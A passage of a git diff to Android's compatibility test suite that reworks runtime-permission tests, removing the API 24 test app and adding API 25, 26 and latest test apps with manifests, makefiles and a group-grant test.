+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_PHONE_STATE,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.CALL_PHONE,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put("android.permission.ACCESS_IMS_CALL_SERVICE",
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_CALL_LOG,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_CALL_LOG,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.ADD_VOICEMAIL,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.USE_SIP,
+ "@android:string/permgrouplab_phone");
+ sPermissionToLabelResNameMap.put(Manifest.permission.PROCESS_OUTGOING_CALLS,
+ "@android:string/permgrouplab_phone");
+ // Microphone
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECORD_AUDIO,
+ "@android:string/permgrouplab_microphone");
+ // Camera
+ sPermissionToLabelResNameMap.put(Manifest.permission.CAMERA,
+ "@android:string/permgrouplab_camera");
+ // Body sensors
+ sPermissionToLabelResNameMap.put(Manifest.permission.BODY_SENSORS,
+ "@android:string/permgrouplab_sensors");
+ }
private Context mContext;
private Resources mPlatformResources;
@@ -103,143 +168,6 @@
return activity;
}
- private void initPermissionToLabelMap(boolean permissionReviewMode) {
- if (!permissionReviewMode) {
- // Contacts
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CONTACTS, "@android:string/permgrouplab_contacts");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CONTACTS, "@android:string/permgrouplab_contacts");
- // Calendar
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALENDAR, "@android:string/permgrouplab_calendar");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALENDAR, "@android:string/permgrouplab_calendar");
- // SMS
- sPermissionToLabelResNameMap.put(
- Manifest.permission.SEND_SMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_SMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_SMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_WAP_PUSH, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_MMS, "@android:string/permgrouplab_sms");
- sPermissionToLabelResNameMap.put(
- "android.permission.READ_CELL_BROADCASTS", "@android:string/permgrouplab_sms");
- // Storage
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- // Location
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_FINE_LOCATION,
- "@android:string/permgrouplab_location");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_COARSE_LOCATION,
- "@android:string/permgrouplab_location");
- // Phone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_PHONE_STATE, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CALL_PHONE, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- "android.permission.ACCESS_IMS_CALL_SERVICE",
- "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALL_LOG, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALL_LOG, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ADD_VOICEMAIL, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.USE_SIP, "@android:string/permgrouplab_phone");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.PROCESS_OUTGOING_CALLS,
- "@android:string/permgrouplab_phone");
- // Microphone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECORD_AUDIO, "@android:string/permgrouplab_microphone");
- // Camera
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CAMERA, "@android:string/permgrouplab_camera");
- // Body sensors
- sPermissionToLabelResNameMap.put(
- Manifest.permission.BODY_SENSORS, "@android:string/permgrouplab_sensors");
- } else {
- // Contacts
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CONTACTS, "@android:string/permlab_readContacts");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CONTACTS, "@android:string/permlab_writeContacts");
- // Calendar
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALENDAR, "@android:string/permgrouplab_calendar");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALENDAR, "@android:string/permgrouplab_calendar");
- // SMS
- sPermissionToLabelResNameMap.put(
- Manifest.permission.SEND_SMS, "@android:string/permlab_sendSms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_SMS, "@android:string/permlab_receiveSms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_SMS, "@android:string/permlab_readSms");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_WAP_PUSH, "@android:string/permlab_receiveWapPush");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECEIVE_MMS, "@android:string/permlab_receiveMms");
- sPermissionToLabelResNameMap.put(
- "android.permission.READ_CELL_BROADCASTS",
- "@android:string/permlab_readCellBroadcasts");
- // Storage
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_EXTERNAL_STORAGE,
- "@android:string/permgrouplab_storage");
- // Location
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_FINE_LOCATION,
- "@android:string/permgrouplab_location");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ACCESS_COARSE_LOCATION,
- "@android:string/permgrouplab_location");
- // Phone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_PHONE_STATE, "@android:string/permlab_readPhoneState");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CALL_PHONE, "@android:string/permlab_callPhone");
- sPermissionToLabelResNameMap.put(
- "android.permission.ACCESS_IMS_CALL_SERVICE",
- "@android:string/permlab_accessImsCallService");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.READ_CALL_LOG, "@android:string/permlab_readCallLog");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.WRITE_CALL_LOG, "@android:string/permlab_writeCallLog");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.ADD_VOICEMAIL, "@android:string/permlab_addVoicemail");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.USE_SIP, "@android:string/permlab_use_sip");
- sPermissionToLabelResNameMap.put(
- Manifest.permission.PROCESS_OUTGOING_CALLS,
- "@android:string/permlab_processOutgoingCalls");
- // Microphone
- sPermissionToLabelResNameMap.put(
- Manifest.permission.RECORD_AUDIO, "@android:string/permgrouplab_microphone");
- // Camera
- sPermissionToLabelResNameMap.put(
- Manifest.permission.CAMERA, "@android:string/permgrouplab_camera");
- // Body sensors
- sPermissionToLabelResNameMap.put(
- Manifest.permission.BODY_SENSORS, "@android:string/permgrouplab_sensors");
- }
- }
-
@Before
public void beforeTest() {
mContext = InstrumentationRegistry.getTargetContext();
@@ -250,9 +178,7 @@
/* cannot happen */
}
- PackageManager packageManager = mContext.getPackageManager();
- mWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
- initPermissionToLabelMap(packageManager.isPermissionReviewModeEnabled());
+ mWatch = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
UiObject2 button = getUiDevice().findObject(By.text("Close"));
if (button != null) {
@@ -510,23 +436,35 @@
private static void scroll(AccessibilityNodeInfo node, boolean forward) throws Exception {
getInstrumentation().getUiAutomation().executeAndWaitForEvent(
- () -> node.performAction(forward
- ? AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
- : AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD),
+ () -> {
+ if (isTv()) {
+ if (forward) {
+ getUiDevice().pressDPadDown();
+ } else {
+ for (int i = 0; i < 50; i++) {
+ getUiDevice().pressDPadUp();
+ }
+ }
+ } else {
+ node.performAction(forward
+ ? AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
+ : AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD);
+ }
+ },
(AccessibilityEvent event) -> event.getEventType()
- == AccessibilityEvent.TYPE_VIEW_SCROLLED,
+ == AccessibilityEvent.TYPE_VIEW_SCROLLED
+ || event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
GLOBAL_TIMEOUT_MILLIS);
node.refresh();
waitForIdle();
}
-
private static void click(AccessibilityNodeInfo node) throws Exception {
getInstrumentation().getUiAutomation().executeAndWaitForEvent(
() -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
(AccessibilityEvent event) -> event.getEventType()
== AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
- || event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED,
+ || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
GLOBAL_TIMEOUT_MILLIS);
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
index dc528a1..b4ed09f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
@@ -193,7 +193,6 @@
permissions, new boolean[] {true});
// We should now have been granted both of the permissions from this group.
- // NOTE: This is undesired behavior which will be fixed for target API 24.
assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
.checkSelfPermission(Manifest.permission.SEND_SMS));
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
deleted file mode 100644
index 739f220..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
- ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
- ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
-
-LOCAL_PACKAGE_NAME := CtsUsePermissionApp24
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml
deleted file mode 100644
index 64f3f34..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.usepermission">
-
- <!-- Request two different permissions within the same group -->
- <uses-permission android:name="android.permission.SEND_SMS" />
- <uses-permission android:name="android.permission.RECEIVE_SMS" />
-
- <application>
- <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
- </application>
-
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.cts.usepermission" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml
deleted file mode 100755
index 27c9900..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<resources>
- <string name="Permissions">Permission</string>
-</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml
deleted file mode 100755
index 6675383..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<resources>
- <string name="Permissions">Permissions</string>
-</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java
deleted file mode 100644
index f87c67f..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.usepermission;
-
-import android.Manifest;
-import android.content.pm.PackageManager;
-import org.junit.Test;
-
-import static junit.framework.Assert.assertEquals;
-
-/**
- * Runtime permission behavior tests for apps targeting API 24
- */
-public class UsePermissionTest24 extends BasePermissionsTest {
- private static final int REQUEST_CODE_PERMISSIONS = 42;
-
- @Test
- public void testOnlyRequestedPermissionsGranted() throws Exception {
- // Start out without permission
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
-
- String[] firstPermissions = new String[] {Manifest.permission.RECEIVE_SMS};
-
- // Request only one permission and confirm
- BasePermissionActivity.Result firstResult = requestPermissions(firstPermissions,
- REQUEST_CODE_PERMISSIONS,
- BasePermissionActivity.class,
- () -> {
- try {
- clickAllowButton();
- getUiDevice().waitForIdle();
- } catch (Exception e) {
- throw new RuntimeException(e);
- }
- });
-
- // Expect the permission is granted
- assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
- firstPermissions, new boolean[] {true});
-
- // We should not have the other permission in the group
- assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
-
- String[] secondPermissions = new String[] {Manifest.permission.SEND_SMS};
-
- // Request the other permission which should be auto-granted
- BasePermissionActivity.Result secondResult = requestPermissions(secondPermissions,
- REQUEST_CODE_PERMISSIONS + 1, BasePermissionActivity.class, null);
-
- // Expect the permission is granted
- assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
- secondPermissions, new boolean[] {true});
-
- // We now should have both permissions
- assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
- assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
- .checkSelfPermission(Manifest.permission.SEND_SMS));
- }
-}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
new file mode 100644
index 0000000..ac4f272
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -0,0 +1,42 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp23/src) \
+ ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionApp25
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
new file mode 100644
index 0000000..acaeeb0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.usepermission">
+
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25" />
+
+ <!-- Request two different permissions within the same group -->
+ <uses-permission android:name="android.permission.SEND_SMS" />
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+ <!-- Contacts -->
+ <!-- Deliberately request WRITE_CONTACTS but *not* READ_CONTACTS -->
+ <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+
+ <!-- Calendar -->
+ <uses-permission android:name="android.permission.READ_CALENDAR"/>
+ <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
+
+ <!-- SMS -->
+ <uses-permission android:name="android.permission.SEND_SMS"/>
+ <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
+ <uses-permission android:name="android.permission.RECEIVE_MMS"/>
+ <uses-permission android:name="android.permission.READ_CELL_BROADCASTS"/>
+
+ <!-- Storage -->
+ <!-- Special case: WRITE_EXTERNAL_STORAGE implies READ_EXTERNAL_STORAGE -->
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
+ <!-- Location -->
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+
+ <!-- Phone -->
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-permission android:name="android.permission.CALL_PHONE"/>
+ <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+ <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+ <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
+ <uses-permission android:name="android.permission.USE_SIP"/>
+ <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
+
+ <!-- Phone -->
+ <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+ <!-- Camera -->
+ <uses-permission android:name="android.permission.CAMERA"/>
+
+ <!-- Body Sensors -->
+ <uses-permission android:name="android.permission.BODY_SENSORS"/>
+
+ <application>
+ <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
new file mode 100644
index 0000000..7064288
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -0,0 +1,43 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionApp26
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
new file mode 100644
index 0000000..845e43d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.usepermission">
+ <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
+
+ <!-- Request two different permissions within the same group -->
+ <uses-permission android:name="android.permission.SEND_SMS" />
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+ <application>
+ <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
new file mode 100644
index 0000000..e64838b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usepermission;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+
+import org.junit.Test;
+
+/**
+ * Runtime permission behavior tests for apps targeting API 26
+ */
+public class UsePermissionTest26 extends BasePermissionsTest {
+ private static final int REQUEST_CODE_PERMISSIONS = 42;
+
+ @Test
+ public void testRuntimeGroupGrantNoExpansion() throws Exception {
+ // Start out without permission
+ assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
+ .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
+ assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
+ .checkSelfPermission(Manifest.permission.SEND_SMS));
+
+ String[] permissions = new String[]{Manifest.permission.RECEIVE_SMS};
+
+ // request only one permission from the 'SMS' permission group at runtime,
+ // but two from this group are <uses-permission> in the manifest
+ // request only one permission from the 'contacts' permission group
+ BasePermissionActivity.Result result = requestPermissions(permissions,
+ REQUEST_CODE_PERMISSIONS,
+ BasePermissionActivity.class,
+ () -> {
+ try {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
+
+ // Expect the permission is granted
+ assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
+ permissions, new boolean[]{true});
+
+ assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getTargetContext()
+ .checkSelfPermission(Manifest.permission.SEND_SMS));
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
new file mode 100644
index 0000000..62a15e4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
@@ -0,0 +1,44 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp26/src) \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+LOCAL_SDK_VERSION := test_current
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionAppLatest
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
